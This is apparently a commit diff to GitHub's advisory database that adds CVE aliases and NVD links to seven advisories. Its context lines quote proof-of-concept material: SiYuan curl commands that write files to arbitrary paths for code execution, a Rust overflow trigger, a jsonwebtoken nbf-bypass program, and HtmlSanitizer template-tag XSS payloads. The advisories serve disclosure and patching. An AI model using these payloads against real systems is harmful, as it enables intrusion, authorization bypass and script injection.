Skip to content

File tree

7 files changed

+34
-14
lines changed

7 files changed

+34
-14
lines changed

advisories/github-reviewed/2026/01/GHSA-c4jr-5q7w-f6r9/GHSA-c4jr-5q7w-f6r9.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-c4jr-5q7w-f6r9",
4-
"modified": "2026-01-29T15:15:54Z",
4+
"modified": "2026-02-03T22:16:07Z",
55
"published": "2026-01-29T15:15:54Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-25539"
8+
],
79
"summary": "SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE",
810
"details": "## Summary\n\nThe `/api/file/copyFile` endpoint does not validate the `dest` parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.\n\n- Affected Version: 3.5.3 (and likely all prior versions)\n\n## Details\n\n- Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)\n- Location: `kernel/api/file.go` - copyFile function\n\n```go\n// kernel/api/file.go lines 94-139\nfunc copyFile(c *gin.Context) {\n // ...\n src := arg[\"src\"].(string)\n src, err := model.GetAssetAbsPath(src) // src is validated\n // ...\n\n dest := arg[\"dest\"].(string) // dest is NOT validated!\n if err = filelock.Copy(src, dest); err != nil {\n // ...\n }\n}\n```\n\nThe `src` parameter is properly validated via `model.GetAssetAbsPath()`, but the `dest` parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.\n\n## PoC\n\n### Step 1: Upload malicious content to workspace\n\n```bash\ncurl -X POST \"http://target:6806/api/file/putFile\" \\\n -H \"Authorization: Token <API_TOKEN>\" \\\n -F \"path=/data/assets/malicious.sh\" \\\n -F \"file=@-;filename=malicious.sh\" <<< '#!/bin/sh\nid > /tmp/pwned.txt\nhostname >> /tmp/pwned.txt'\n```\n\n### Step 2: Copy to arbitrary location (e.g., /tmp)\n\n```bash\ncurl -X POST \"http://target:6806/api/file/copyFile\" \\\n -H \"Authorization: Token <API_TOKEN>\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"src\": \"assets/malicious.sh\", \"dest\": \"/tmp/malicious.sh\"}'\n```\n\nResponse: `{\"code\":0,\"msg\":\"\",\"data\":null}`\n\n### Step 3: Verify file was written outside workspace\n\n```bash\ncat /tmp/malicious.sh\n# Output: #!/bin/sh\n# id > /tmp/pwned.txt\n# hostname >> /tmp/pwned.txt\n```\n\n## Attack Scenarios\n\n| Target Path | Impact |\n|-------------|--------|\n| `/etc/cron.d/backdoor` | Scheduled command execution (RCE) |\n| `~/.ssh/authorized_keys` | Persistent SSH access |\n| `~/.bashrc` | Command execution on user login |\n| `/etc/ld.so.preload` | Shared library injection |\n\n### RCE Demonstration\n\n RCE was successfully demonstrated by writing a script and executing it:\n\n```bash\n# Write script to /tmp\ncurl -X POST \"http://target:6806/api/file/copyFile\" \\\n -H \"Authorization: Token <API_TOKEN>\" \\\n -d '{\"src\": \"assets/malicious.sh\", \"dest\": \"/tmp/malicious.sh\"}'\n\n# Execute (simulating cron or login trigger)\nsh /tmp/malicious.sh\n\n# Result\ncat /tmp/pwned.txt\n# uid=0(root) gid=0(root) groups=0(root)...\n```\n\n## Impact\n\nAn authenticated attacker (with API Token) can:\n1. Achieve Remote Code Execution with the privileges of the SiYuan process\n2. Establish persistent backdoor access via SSH keys\n3. Compromise the entire host system\n4. Access sensitive data on the same network (lateral movement)\n\n## Suggested Fix\n\nAdd path validation to ensure `dest` is within the workspace directory:\n\n```go\nfunc copyFile(c *gin.Context) {\n // ...\n dest := arg[\"dest\"].(string)\n\n // Add validation\n if !util.IsSubPath(util.WorkspaceDir, dest) {\n ret.Code = -1\n ret.Msg = \"dest path must be within workspace\"\n return\n }\n\n if err = filelock.Copy(src, dest); err != nil {\n // ...\n }\n}\n```\n\n## Solution\n\nd7f790755edf8c78d2b4176171e5a0cdcd720feb",
911
"severity": [

advisories/github-reviewed/2026/02/GHSA-434x-w66g-qw3r/GHSA-434x-w66g-qw3r.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-434x-w66g-qw3r",
4-
"modified": "2026-02-03T19:17:46Z",
4+
"modified": "2026-02-03T22:16:15Z",
55
"published": "2026-02-03T19:17:46Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-25541"
8+
],
79
"summary": "bytes has integer overflow in BytesMut::reserve",
810
"details": "# Details\n\nIn the unique reclaim path of `BytesMut::reserve`, the condition\n```rs\nif v_capacity >= new_cap + offset\n```\nuses an unchecked addition. When `new_cap + offset` overflows `usize` in release builds, this condition may incorrectly pass, causing `self.cap` to be set to a value that exceeds the actual allocated capacity. Subsequent APIs such as `spare_capacity_mut()` then trust this corrupted `cap` value and may create out-of-bounds slices, leading to UB.\n\nThis behavior is observable in release builds (integer overflow wraps), whereas debug builds panic due to overflow checks.\n\n## PoC\n\n```rs\nuse bytes::*;\n\nfn main() {\n let mut a = BytesMut::from(&b\"hello world\"[..]);\n let mut b = a.split_off(5);\n\n // Ensure b becomes the unique owner of the backing storage\n drop(a);\n\n // Trigger overflow in new_cap + offset inside reserve\n b.reserve(usize::MAX - 6);\n\n // This call relies on the corrupted cap and may cause UB & HBO\n b.put_u8(b'h');\n}\n```\n\n# Workarounds\n\nUsers of `BytesMut::reserve` are only affected if integer overflow checks are configured to wrap. When integer overflow is configured to panic, this issue does not apply.",
911
"severity": [

advisories/github-reviewed/2026/02/GHSA-h395-gr6q-cpjc/GHSA-h395-gr6q-cpjc.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-h395-gr6q-cpjc",
4-
"modified": "2026-02-03T18:47:40Z",
4+
"modified": "2026-02-03T22:15:57Z",
55
"published": "2026-02-03T18:47:40Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-25537"
8+
],
79
"summary": "jsonwebtoken has Type Confusion that leads to potential authorization bypass",
810
"details": "## Summary:\n\nIt has been discovered that there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic.\n\nWhen a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”.\n\nThis means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses.\n\n## Details:\n\nThe vulnerability stems from the interaction between the TryParse enum and the validate function in [src/validation.rs](https://github.com/Keats/jsonwebtoken/blob/master/src/validation.rs).\n\n 1. The TryParse Enum: The library uses a custom TryParse enum to handle claim deserialization:\n```\nenum TryParse<T> {\n Parsed(T),\n FailedToParse, // Set when deserialization fails (e.g. type mismatch)\n NotPresent,\n}\n```\nIf a user sends {“nbf”: “99999999999”} (legacy/string format), serde fails to parse it as u64, and it results in TryParse::FailedToParse.\n\n 1. The Validation Logic Flaw (src/validation.rs): In Validation::validate, the code checks for exp and nbf\nlike this:\n```\n// L288-291\nif matches!(claims.nbf, TryParse::Parsed(nbf) if options.validate_nbf && nbf > now + options.leeway) {\n return Err(new_error(ErrorKind::ImmatureSignature));\n}\n```\nThis matches! macro explicitly looks for TryParse::Parsed(nbf).\n\n • If claims.nbf is FailedToParse, the match returns false.\n • The if block is skipped.\n • No error is returned.\n 1. The “Required Claims” Gap: The only fallback mechanism is the “Required Claims” check:\n```\n// Lines 259-267\nfor required_claim in &options.required_spec_claims {\n let present = match required_claim.as_str() {\n \"nbf\" => matches!(claims.nbf, TryParse::Parsed(_)),\n // ...\n };\n if !present { return Err(...); }\n}\n```\nIf “nbf” IS in required_spec_claims, FailedToParse will fail the matches!(..., Parsed(_)) check, causing the present to be false, and correctly returning an error.\n\nHowever, widely accepted usage patterns often enable validation flags (validate_nbf = true) without adding the claim to the required list, assuming that enabling validation implicitly requires the claim’s validity if it appears in the token. jsonwebtoken seems to violate this assumption.\n\nEnvironment:\n\n • Version: jsonwebtoken 10.2.0\n • Rust Version: rustc 1.90.0\n • Cargo Version: cargo 1.90.0\n • OS: MacOS Tahoe 26.2\n\nPOC:\n\nFor demonstrating, Here is this simple rust code that demonstrates the bypass. It attempts to validate a token with a string nbf claiming to be valid only in the far future.\n\ncreate a new project:\n```\ncargo new nbf_poc; cd nbf_poc\n```\nadd required dependencies:\n```\ncargo add serde --features derive\ncargo add jsonwebtoken --features rust_crypto\ncargo add serde_json\n```\nreplace the code in src/main.rs with this:\n\n```\nuse jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode};\nuse serde::{Deserialize, Serialize};\n\n#[derive(Debug, Serialize, Deserialize)]\nstruct Claims {\n sub: String,\n nbf: String, // Attacker sends nbf as a String\n exp: usize,\n}\nfn main() {\n let key: &[u8; 24] = b\"RedMouseOverTheSkyIsBlue\";\n\n // nbf is a String \"99999999999\" (Far future)\n // Real nbf should be a Number.\n let my_claims: Claims = Claims {\n sub: \"krishna\".to_string(),\n nbf: \"99999999999\".to_string(), \n exp: 10000000000, \n };\n\n let token: String = encode(&Header::default(), &my_claims, &EncodingKey::from_secret(key)).unwrap();\n println!(\"Forged Token: {}\", token);\n\n // 2. Configure Validation\n let mut validation: Validation = Validation::new(Algorithm::HS256);\n validation.validate_nbf = true; // Enable NBF check\n\n // We do NOT add \"nbf\" to required_spec_claims (default behavior)\n\n // We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug.\n // The library sees the raw JSON with string \"nbf\".\n let result: Result<jsonwebtoken::TokenData<serde_json::Value>, jsonwebtoken::errors::Error> = decode::<serde_json::Value>(\n &token, \n &DecodingKey::from_secret(key), \n &validation\n );\n\n match result {\n Ok(_) => println!(\"Token was accepted despite malformed far-future 'nbf'!\"),\n Err(e) => println!(\"Token rejected. Error: {:?}\", e),\n }\n}\n```\nrun cargo run\n\nexpected behaviour:\n\n```\nForged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwk\n```\nToken was accepted despite malformed far-future 'nbf'!\nImpact:\n\nIf an application uses jsonwebtoken nbf (Not Before) to schedule access for the future (like “Access granted starting tomorrow”).\n\nBy sending nbf as a string, an attacker can bypass this restriction and access the resource immediately.\n\nand for the exp claim (this is unlikely but still adding), If a developer sets validate_exp = true but manually handles claim presence (removing exp from required_spec_claims), an attacker can send a string exp (e.g., “never”) and bypass expiration checks entirely. The token becomes valid forever.",
911
"severity": [

advisories/github-reviewed/2026/02/GHSA-j92c-7v7g-gj3f/GHSA-j92c-7v7g-gj3f.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-j92c-7v7g-gj3f",
4-
"modified": "2026-02-03T19:22:06Z",
4+
"modified": "2026-02-03T22:16:24Z",
55
"published": "2026-02-03T19:22:06Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-25543"
8+
],
79
"summary": "HtmlSanitizer has a bypass via template tag",
810
"details": "### Impact\n\nIf the `template` tag is allowed, its contents are not sanitized. The `template` tag is a special tag that does not usually render its contents, unless the `shadowrootmode` attribute is set to `open` or `closed`. \n\nThe lack of sanitization of the template tag brings up two bypasses:\n\n1. it is still possible to forcibly render the contents of a `<template>` tag through mutation XSS. The DOM parsers in browsers such as Chromium have a node depth limit of 512 and tags which are beyond that depth are flattened. This in turn allows elements within `<template>` (which are not sanitized) to be effectively 'popped out'. An example would look like this: `<div>[...]<template><script>alert('xss')</script>` where `[...]` denotes at least another 509 opening `<div>` tags.\n2. If in addition to the template tag, the `shadowrootmode` attribute is allowed through `sanitizer.AllowedAttributes.Add(\"shadowrootmode\");`, the simple payload of `<div><template shadowrootmode=\"open\"><script>alert('xss')</script>` would bypass the sanitizer. This is because such usage of `<template>` attaches a shadow root to its parent: `<div>`, and its contents will be rendered. \n\nNote that the default configuration is not affected because the `template` tag is disallowed by default.\n\n### Patches\n\nThe problem has been patched in versions [9.0.892](https://www.nuget.org/packages/HtmlSanitizer/9.0.892) and [9.1.893-beta](https://www.nuget.org/packages/HtmlSanitizer/9.1.893-beta).\n\n### Workarounds\n\nDisallow the `template` tag. It is disallowed by default.\n\n### Resources\n\nhttps://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/template",
911
"severity": [

advisories/github-reviewed/2026/02/GHSA-q728-gf8j-w49r/GHSA-q728-gf8j-w49r.json

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-q728-gf8j-w49r",
4-
"modified": "2026-02-03T19:32:01Z",
4+
"modified": "2026-02-03T22:15:40Z",
55
"published": "2026-02-03T19:32:01Z",
66
"aliases": [
77
"CVE-2026-24053"
@@ -40,6 +40,10 @@
4040
"type": "WEB",
4141
"url": "https://github.com/anthropics/claude-code/security/advisories/GHSA-q728-gf8j-w49r"
4242
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24053"
46+
},
4347
{
4448
"type": "PACKAGE",
4549
"url": "https://github.com/anthropics/claude-code"
@@ -53,6 +57,6 @@
5357
"severity": "HIGH",
5458
"github_reviewed": true,
5559
"github_reviewed_at": "2026-02-03T19:32:01Z",
56-
"nvd_published_at": null
60+
"nvd_published_at": "2026-02-03T21:16:13Z"
5761
}
5862
}

advisories/github-reviewed/2026/02/GHSA-qgqw-h4xq-7w8w/GHSA-qgqw-h4xq-7w8w.json

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-qgqw-h4xq-7w8w",
4-
"modified": "2026-02-03T19:33:32Z",
4+
"modified": "2026-02-03T22:15:47Z",
55
"published": "2026-02-03T19:33:32Z",
66
"aliases": [
77
"CVE-2026-24887"
@@ -40,6 +40,10 @@
4040
"type": "WEB",
4141
"url": "https://github.com/anthropics/claude-code/security/advisories/GHSA-qgqw-h4xq-7w8w"
4242
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24887"
46+
},
4347
{
4448
"type": "PACKAGE",
4549
"url": "https://github.com/anthropics/claude-code"
@@ -53,6 +57,6 @@
5357
"severity": "HIGH",
5458
"github_reviewed": true,
5559
"github_reviewed_at": "2026-02-03T19:33:32Z",
56-
"nvd_published_at": null
60+
"nvd_published_at": "2026-02-03T21:16:13Z"
5761
}
5862
}

advisories/github-reviewed/2026/02/GHSA-vhw5-3g5m-8ggf/GHSA-vhw5-3g5m-8ggf.json

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-vhw5-3g5m-8ggf",
4-
"modified": "2026-02-03T20:29:44Z",
4+
"modified": "2026-02-03T22:15:32Z",
55
"published": "2026-02-03T19:15:59Z",
66
"aliases": [
77
"CVE-2026-24052"
@@ -40,6 +40,10 @@
4040
"type": "WEB",
4141
"url": "https://github.com/anthropics/claude-code/security/advisories/GHSA-vhw5-3g5m-8ggf"
4242
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24052"
46+
},
4347
{
4448
"type": "PACKAGE",
4549
"url": "https://github.com/anthropics/claude-code"
@@ -52,6 +56,6 @@
5256
"severity": "HIGH",
5357
"github_reviewed": true,
5458
"github_reviewed_at": "2026-02-03T19:15:59Z",
55-
"nvd_published_at": null
59+
"nvd_published_at": "2026-02-03T21:16:13Z"
5660
}
5761
}

0 commit comments

Comments
 (0)